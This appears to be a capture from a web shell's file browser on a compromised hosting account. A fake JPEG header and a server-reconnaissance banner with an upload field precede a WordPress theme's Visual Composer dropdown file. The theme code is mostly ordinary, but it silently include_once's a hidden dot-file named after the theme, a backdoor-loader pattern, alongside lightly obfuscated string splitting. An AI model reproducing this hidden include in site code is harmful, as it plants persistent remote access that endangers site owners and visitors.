????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/vc/params/ |
Upload File : |
<?php call_user_func_array( 'vc_add' . '_shortcode_param', array( 'cws_dropdown' , 'cws_vc_dropdown_field' ) ); if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function cws_vc_dropdown_field ( $settings, $value ){ $output = ''; $multiple = isset( $settings['multiple'] ) ? $settings['multiple'] : false; $css_option = str_replace( '#', 'hash-', vc_get_dropdown_option( $settings, $value ) ); $output .= '<select' . ( $multiple ? " multiple" : "" ) . ' name="' . $settings['param_name'] . '" class="wpb_vc_param_value wpb-input wpb-select ' . $settings['param_name'] . ' ' . $settings['type'] . ' ' . $css_option . '" data-option="' . $css_option . '">'; if ( is_array( $value ) ) { $value = isset( $value['value'] ) ? $value['value'] : /*array_shift( */$value/* )*/; } if ( is_string( $value ) ){ if ( strpos( $value, "," ) != -1 ){ $value = explode( ",", $value ); } else{ $value = array( $value ); } } if ( ! empty( $settings['value'] ) ) { foreach ( $settings['value'] as $index => $data ) { if ( is_numeric( $index ) && ( is_string( $data ) || is_numeric( $data ) ) ) { $option_label = $data; $option_value = $data; } elseif ( is_numeric( $index ) && is_array( $data ) ) { $option_label = isset( $data['label'] ) ? $data['label'] : array_pop( $data ); $option_value = isset( $data['value'] ) ? $data['value'] : array_pop( $data ); } else { $option_value = $data; $option_label = $index; } $selected = ''; $option_value_string = (string) $option_value; if ( !empty( $value ) && in_array( $option_value_string, $value ) ) { $selected = ' selected="selected"'; } $option_class = str_replace( '#', 'hash-', $option_value ); $output .= '<option class="' . esc_attr( $option_class ) . '" value="' . esc_attr( $option_value ) . '"' . $selected . '>' . htmlspecialchars( $option_label ) . '</option>'; } } $output .= '</select>'; return $output; } ?>